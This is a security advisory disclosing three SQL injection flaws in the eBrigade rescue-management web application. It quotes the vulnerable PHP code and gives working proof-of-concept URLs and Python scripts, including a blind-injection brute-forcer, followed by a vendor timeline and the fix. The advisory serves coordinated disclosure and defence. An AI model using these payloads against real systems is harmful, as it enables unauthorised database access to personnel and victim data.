SEC Consult Vulnerability Lab Security Advisory < 20190926-0 > ======================================================================= title: Multiple SQL Injection vulnerabilities product: eBrigade vulnerable version: <5.0 fixed version: >=5.0 CVE number: CVE-2019-16743, CVE-2019-16744, CVE-2019-16745 impact: critical homepage: https://ebrigade.net found: 2019-06-06 by: D. Haintz (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "eBrigade is a web application that allows the management of personnel, vehicles and equipment of rescue centers (fire brigades), associations of first responders and military organizations. Highly configurable, eBrigade can meet the expectations of many other organizations. Skills management, generation of the cover sheet according to availability. Management of the interventions and the victims with assessment sheets rescuers. Private social network. Notifications and alerts by email and SMS. Accounting, reporting and numerous graphs allow precise monitoring of the organization." (translated) Source: https://ebrigade.net/ Business recommendation: ------------------------ The vendor provides a patch and users of this product are urged to immediately upgrade to the latest version available. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1) Multiple SQL Injection vulnerabilities Due to insufficient sanitization of user input an authenticated attacker can execute arbitrary SQL code in several SELECT statements. Since two of the three vulnerabilities are completely unsanitized and responsible to serve ICAL files, an attacker can let a user download manipulated calendar files. Besides that an attacker can also dump the whole database. The third vulnerability results out of wrong usage of sanitization functions. This enables an attacker to manipulate the SQL query with specially crafted requests resulting into a blind SQL injection, as described in one of the following vulnerabilities. a) & b) Multiple UNION SQL Injections (CVE-2019-16743, CVE-2019-16744) The parameters of two links can be manipulated so any arbitrary query to any table or database can be added to the output of the resulting calendar files using the UNION functionality of SQL. c) Boolean-based Blind SQL Injection (CVE-2019-16745) The parameters of a search result can be manipulated to guess the returned values of an arbitrary query. Proof of concept: ----------------- 1) Multiple SQL Injection vulnerabilities All vulnerabilities were tested with an authenticated user with the lowest access rights (public). The whole PoC script requires an authenticated user for any functionality. The user is authenticated by a PHP session using the cookie PHPSESSID (may vary at different webservers). In conclusion, every request described below requires the PHP session cookie. a) UNION SQL Injection in evenement_ical.php (CVE-2019-16743) The script evenement_ical.php uses the unsanitized parameter "evenement" to query the database. The results are written into a downloadable calendar file. By adding a UNION statement, an attacker can extend the output with arbitrary data of the database: The user input is read on line 42: $evenement=(isset($_GET['evenement'])?$_GET['evenement']:""); On line 88-89 it is added to the SQL statement: if ($evenement !="") $sql .= "\n and e.e_code = $evenement "; Which is executed and fetched in line 136 and 138: $res = mysqli_query($dbc,$sql); while($row=mysqli_fetch_array($res)){ Since e_code is of type integer, the proper sanitization method would be intval(). POC URL: evenement_ical.php?evenement=1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14-- -> Version after 'LOCATION:' POC in Python: import requests import string import re url = input("URL without file (i.e. https://localhost/ebrigade): ") phpsession = input("PHPSESSID: ") cookies = {'PHPSESSID': phpsession} payload = '+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14--' print("Testing vulnerability") r = requests.get('{0}/evenement_ical.php?evenement=1{1}'.format(url, payload), cookies=cookies) matches = re.findall( r'^LOCATION:(.*)$', r.text, flags=re.MULTILINE) print("Found version: {0}".format(matches[-1])) b) UNION SQL Injection in evenements.php (CVE-2019-16744) The script evenements.php uses the unsanitized parameter "cid" to query the database. The results are written into a downloadable calendar file. By breaking out of the string and adding a UNION statement, an attacker can extend the output with arbitrary data. But the parameter "cid" must start with a valid cid. The user input is read on line 48: $key = (isset($_GET['cid'])?$_GET['cid']:""); On line 69 it is inserted as SQL string into the query: $sqlp="select p.p_id, p.p_nom, p.p_prenom, p.p_code, p.p_mdp ,p.p_calendar, p.p_section section, s.s_code, md5(concat(p.p_id,'-',p.p_nom,'-',p.p_mdp)) keyp from pompier p , section s where p.p_fin is null and p.p_section = s.s_id and md5(concat(p.p_id,'-',p.p_nom,'-',p.p_mdp)) = '$key' Which is executed and fetched on line 72 and 73: $resp = mysqli_query($dbc,$sqlp); while($rowp= mysqli_fetch_array($resp)){ Here an attacker can add arbitrary SQL code by breaking out of the string. Since the expected value is of type string, the proper sanitization method would be mysqli_real_escape_string(). POC URL: evenements.php?cid=%27+union+select+1,2,3,4,5,6,7,version(),%279 -> Version can be found in X-WR-CALNAME POC in Python: import requests import string import re url = input("URL without file (i.e. https://localhost/ebrigade): ") phpsession = input("PHPSESSID: ") valid_cid = input("Valid CID: ") cookies = {'PHPSESSID': phpsession} payload = '%27+union+select+1,2,3,4,5,6,7,version(),%279' print("Testing vulnerability") r = requests.get('{0}/evenements.php?cid={1}{2}'.format(url, valid_cid, payload), cookies=cookies) matches = re.findall( r'^X-WR-CALNAME:(.*) - (.*)$', r.text, flags=re.MULTILINE) print("Found version: {0}".format(matches[0][1])) c) Blind SQL Injection in evenement_choice.php (CVE-2019-16745) The script evenement_choice.php uses the wrongly sanitized parameter "chxCal" as an array to query the database. The results are shown in a search result. By breaking out, an attacker can extend the query's condition to guess or brute arbitrary data. The user input is read on line 108: $ChxCalendar = (isset($_GET['btGo'])?(isset($_GET['chxCal'])?$_GET['chxCal'] :array()):$chxCal); On line 169 it is added to the statement by joining the array elements and wrongly sanitizing it with mysqli_real_escape_string(): $query .= "\n and S.S_ID in (".get_family("$filter").(count($ChxCalendar)>0?", ".mysqli_real_escape_string($dbc,implode(",",$ChxCalendar)):"").")"; Which is executed on line 202: $result=mysqli_query($dbc,$query); Here an attacker can add arbitrary SQL code - except quotations - by breaking out of the list. Since the expected value of each element is of type integer, the proper sanitization method would be intval() for each array element. POC URL: evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(ord(substring(version(),0,1))+%3D+49 -> Would return the search results in case the version starts with 1 (since the ASCII value of 1 is 49). POC in Python: import requests import string url = input("URL without file (i.e. https://localhost/ebrigade): ") phpsession = input("PHPSESSID: ") true_payload = ')+and+(1%3D1' false_payload = ')+and+(1%3D0' cookies = {'PHPSESSID': phpsession} print("Testing vulnerability") r = requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5{1}'.format(url, true_payload), cookies=cookies) true_len = len(r.text) r = requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5{1}'.format(url, false_payload), cookies=cookies) false_len = len(r.text) if (true_len > false_len): print("Vulnerability verified.") # get string length version_len = 0 while len(requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(length(version())+%3D+{1}'.format(url, version_len), cookies=cookies).text) == false_len: version_len += 1 print("Version string has {0} characters.".format(version_len)) # brute version version_string = '' for i in range(version_len): print("Bruting position {0}".format(i+1)) chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + '.-' for c in chars: if len(requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(ord(substring(version(),{1},1))+%3D+{2}'.format(url, i+1, ord(c)), cookies=cookies).text) > false_len: version_string += c print("Found new char of version: {0}".format(version_string)) continue print("Found version: {0}".format(version_string)) else: print("Could not verify Vulnerability.") Vulnerable / tested versions: ----------------------------- The following versions were tested and found to be vulnerable: - 4.5.1 - 4.5 - 4.4 - 4.3 - 4.2 - 4.1 - 4.0 Vendor contact timeline: ------------------------ 2019-06-14: Contacting vendor through https://ebrigade.net/contact/ 2019-06-15: Vendor replies to send advisory via unencrypted email 2019-06-17: Sending the advisory to the vendor to the given email address Vendor acknowledges receipt, plans to release eBrigade version 5.0 with security improvements soon 2019-07-02: Asking vendor for a status update Vendor: the new release 5.0 will "likely be available next month" 2019-08-14: Asking for a status update; no reply 2019-08-29: Set the release date to 2019-09-26, since release of the fixed version should be this month and no answer on news was received by the vendor 2019-09-23: Checking the vendor website, verification that a new version has already been released which fixes the issues 2019-09-26: Public release of security advisory Solution: --------- The vendor provides an updated version (v5.0 or higher, v5.0.1) which should be installed immediately: https://sourceforge.net/projects/ebrigade/files/ Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF David Haintz / @2019